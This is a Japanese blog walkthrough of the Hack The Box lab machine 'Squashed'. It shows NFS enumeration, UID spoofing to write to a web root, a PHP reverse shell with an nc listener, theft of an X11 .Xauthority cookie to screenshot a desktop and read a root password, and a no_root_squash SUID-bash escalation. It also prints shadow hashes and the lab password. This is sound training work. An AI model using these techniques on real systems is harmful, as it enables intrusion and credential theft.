1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【Hack The Box】Writeup: Squashed

Last updated at Posted at 2025-11-10

image.png

はじめに

この記事は、Hack The Boxの「Squashed」を攻略した際の手順をまとめたものです。

ポートスキャン

まず、rustscanを使用してポートスキャンを実行し、開いているポートとサービスを特定します。

$ rustscan -a 10.129.228.109 -- -sC -sV -oN report_squashed

PORT      STATE SERVICE  REASON         VERSION
22/tcp    open  ssh      syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
|   256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp    open  http     syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-title: Built Better
|_http-server-header: Apache/2.4.41 (Ubuntu)
111/tcp   open  rpcbind  syn-ack ttl 63 2-4 (RPC #100000)
2049/tcp  open  nfs      syn-ack ttl 63 3-4 (RPC #100003)

NFS (Network File System) がポート 2049 で動作しています

NFSについて

NFSはLinuxのファイルシステム共有の仕組みです。
NFSの攻撃方法についてhacktricksに詳しく解説があり参考になりました。
https://book.hacktricks.wiki/en/network-services-pentesting/nfs-service-pentesting.html

Authentication commonly relies on UNIX UID/GID identifiers and group memberships. However, a challenge arises due to the potential mismatch in UID/GID mappings between clients and servers, leaving no room for additional verification by the server. Moreover, these details are sent by the client and trusted by the server, so a rogue client could potentially **impersonate another user sending more privileged uid and gids.

  • DeepL翻訳
    認証は一般的にUNIX UID/GID識別子とグループメンバーシップに依存します。しかし、クライアントとサーバー間でUID/GIDマッピングの不一致が生じる可能性があり、サーバーによる追加検証の余地がないため課題が生じます。さらに、これらの情報はクライアントから送信されサーバーが信頼するため、悪意のあるクライアントが他のユーザーを装い、より特権的なuidやgidを送信する可能性があります

UID/GIDを偽装して共有ディレクトリへのアクセスする攻撃方法が取れそうです。

NFS調査

共有ディレクトリについて調査します。
showmount コマンドでNFSの共有ディレクトリを確認します。

$ showmount -e 10.129.228.109
Export list for 10.129.228.109:
/home/ross    *
/var/www/html 

/home/ross/var/www/html が共有されています。
nmap のスクリプトを使い、各共有ディレクトリのパーミッションや内容を調査してみます。

$ nmap 10.129.228.109 --script nfs-ls

| nfs-ls: Volume /home/ross
|   access: Read Lookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID   GID   SIZE  TIME                 FILENAME
| rwxr-xr-x   1001  1001  4096  2025-10-23T23:10:52  .
...
| 
| Volume /var/www/html
|   access: Read NoLookup NoModify NoExtend NoDelete NoExecute
| PERMISSION  UID   GID  SIZE  TIME                 FILENAME
| rwxr-xr--   2017  33   4096  2025-10-23T23:35:02  .
...

/home/rossの所有者UIDが1001
/var/www/html の所有者UIDが 2017 であることがわかります。

NFSの脆弱性スキャンとユーザ権限昇格

hacktricksで触れられていたnfs_analyze を使用して、NFSの設定不備を調査します。
githubのRedmeに記載してあったno-root-squashオプションをつけて試してみます。

$ nfs_analyze --check-no-root-squash 10.129.228.109

...
Content of /etc/shadow:
root:$6$1TX.sWDSDhS8.Q06$Z5Pa/jIUf69vcVPia3OK0BiOVuHhTRM2VH0Aye/QU9jizZkgiwWnhzAyL/jgxCSFL3aWZ0S92QWb.16UYGvLj.:19284:0:99999:7:::
...
ross:$6$8ELNcXFldRYlf.Aq$omDa1Wmazh5H0dhFunS4qNos/dc6Aig8B8yx3eP.FFehoeK34fmMvmfdoZYWIUfJefXmuD9/4BfozeS3Xn1jx/:19286:0:99999:7:::
...
Checking no_root_squash
Export         no_root_squash                            
/home/ross     READONLY (no_root_squash status unknown)  
/var/www/html  DISABLED   
...

驚いたことにスキャンにより、/etc/shadow の内容が読み取れました!

no-root-squashの意味については下記の記事で調べる事ができました。
https://www.hvs-consulting.de/en/blog/nfs-security-identifying-and-exploiting-misconfigurations

no-root-squashが有効な場合、NFSクライアント側のrootユーザとして共有フォルダにもroot
権限でアクセスできてしまい権限昇格の危険性があるようです。
Checking no_root_squashの結果より、no-root-squashは無効のようにみえます。

この設定だと、クライアント側のUIDがそのままサーバー側のUIDにマッピングされると思われるので試してみます。

共有フォルダのマウント

/var/www/htmlは、所有者のUIDが 2017 でした。ローカルでUID 2017 を持つユーザーを作成し、NFSマウントを介して書き込み権限を取得してみます。

  • NFSマウント
# マウントポイント作成
$ sudo mkdir /mnt/html
# /var/www/htmlをマウント
$ sudo mount -t nfs -o vers=4 10.129.228.109:/var/www/html /mnt/html
  • UID偽装
# ローカルに新しいユーザを作成しUIDを2017にする
$ sudo useradd html
$ sudo usermod -u 2017 html
$ sudo groupmod -g 2017 html

# 対象のユーザに切り替え
$ sudo su html
  • フォルダ権限確認
$ ls -al /mnt
...
drwxr-xr--  5 html www-data 4096 Nov 10 07:55 html
$ ls /mnt/html
css  images  index.html  js
$ touch /mnt/html/test
$ ls /mnt/html
css  images  index.html  js  test

リバースシェルの取得

書き込み権限を利用して、リバースシェルを実施します。

リバースシェルの配置
PHPリバースシェルを配置します。
リバースシェルはpentestmonkeyのものをDLして利用しました。
https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
(49行目,50行目のIPアドレスとポートは攻撃マシンのものに置き換えてください)

  • mnt/htmlに配置します。
$ cp reverse.php /mnt/html

シェル奪取

  • リスナーを起動
$nc -lnvp 4444
listening on [any] 4444 ...
  • http://10.129.228.109/reverse.php にアクセスすることで、alex ユーザーとしてシェルを取得しました。
$ id uid=2017(alex) gid=2017(alex) groups=2017(alex)
  • /home/alexの下にuser.flgがあります。

root権限昇格

攻撃マシンから/home/rossの方もマウントして探索してみます。

  • rossのホームディレクトリをマウント
$ sudo mkdir /mnt/ross
$ sudo mount -t nfs -o vers=4 10.10.11.191:/home/ross /mnt/ross
  • UID偽装
# ローカルにrossユーザを作成しUIDを1001にする
$ sudo useradd ross
$ sudo usermod -u 1001 ross
$ sudo groupmod -g 1001 ross

# 対象のユーザに切り替え
$ sudo su html

.Xauthorityの悪用

ross のホームディレクトリをマウントして探索すると、.Xauthority ファイルが見つかります。これはX Window Systemの認証情報を含んでいます。

$ ls -al /mnt/ross
<SNI>
-rw-------  1 ross ross   57 Nov  9 02:20 .Xauthority
...

.Xauthorityの窃取

$ strings /mnt/ross/.Xauthority
squashed.htb
MIT-MAGIC-COOKIE-1

$ cat /mnt/ross/.Xauthority | base64
AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAU/4pK5+Z/sQ/nxe6Luq3g

rossユーザーのdisplay番号が:0であることがわかります。

alex@squashed:/tmp$ w
 03:23:52 up 1 day, 10:04,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ross     tty7     :0               Sat17   34:04m  1:43   0.01s /usr/libexec/gnome-session-binary --systemd --session=gnome

Xauthorityの適用とスクリーンショット取得

alex ユーザーのシェルで、窃取したcookieを使って ross のデスクトップのスクリーンショットを撮ります。

# 取得したcookieをファイルに書き込む
alex@squashed:~$ echo "AQAADHNxdWFzaGVkLmh0YgABMAASTUlULU1BR0lDLUNPT0tJRS0xABAU/4pK5+Z/sQ/nxe6Luq3g" | base64 -d > /tmp/.Xauthority

# 環境変数を設定
alex@squashed:~$ export XAUTHORITY=/tmp/.Xauthority

# スクリーンショットを取得
alex@squashed:~$ xwd -root -screen -silent -display :0 > /tmp/screen.xwd

root権限昇格

取得したスクリーンショットをローカルに転送し、画像に変換します。

ターゲットマシンでhttpサーバを起動

alex@squashed:/tmp$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
# ファイルをローカルにダウンロード
$ curl -O http://10.129.228.109:8888/screen.xwd

# xwdファイルをpngに変換
$ convert screen.xwd screen.png

変換した画像を確認すると、rootユーザーのパスワードがメモされています。
image.png

root:cah$mei7rai9A

この認証情報を使って su コマンドを実行します。

alex@squashed:/tmp$ su 
Password: 
root@squashed:~# id
uid=0(root) gid=0(root) groups=0(root)

おわりに

無事rootに昇格することができました。
NFSの設定不備の調査から始まり、X Window Systemの認証情報を悪用してスクリーンショットを取得しパスワードを奪取するという興味深いシナリオでした。

おまけ:no_root_squashを設定してみる

ターゲットマシンのルートユーザで/etc/exportsを編集して
no_root_squashを有効にしてみる。

# cat /etc/exports

/home/ross *(sync,no_root_squash)
/var/www/html *(rw,sync,no_root_squash)

設定を再読み込み

sudo exportfs -ra

/var/www/htmlをマウントし直す

sudo mount -t nfs -o vers=4 10.10.11.191:/var/www/html /mnt/html/

ターゲットマシンで/bin/bashをコピー

alex@squashed:/var/www/html$ cp /bin/bash .

攻撃マシンでSUID付きのbash作成

# mv ./bash sbash
# ls
css  images  index.html  js  sbash
# chown root:root sbash && chmod +s sbash 

これをalexユーザーで呼び出せばroot権限のシェルになりました

alex@squashed:/var/www/html$ ./sbash -p
sbash-5.0# id
uid=2017(alex) gid=2017(alex) euid=0(root) egid=0(root) groups=0(root),2017(alex)
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?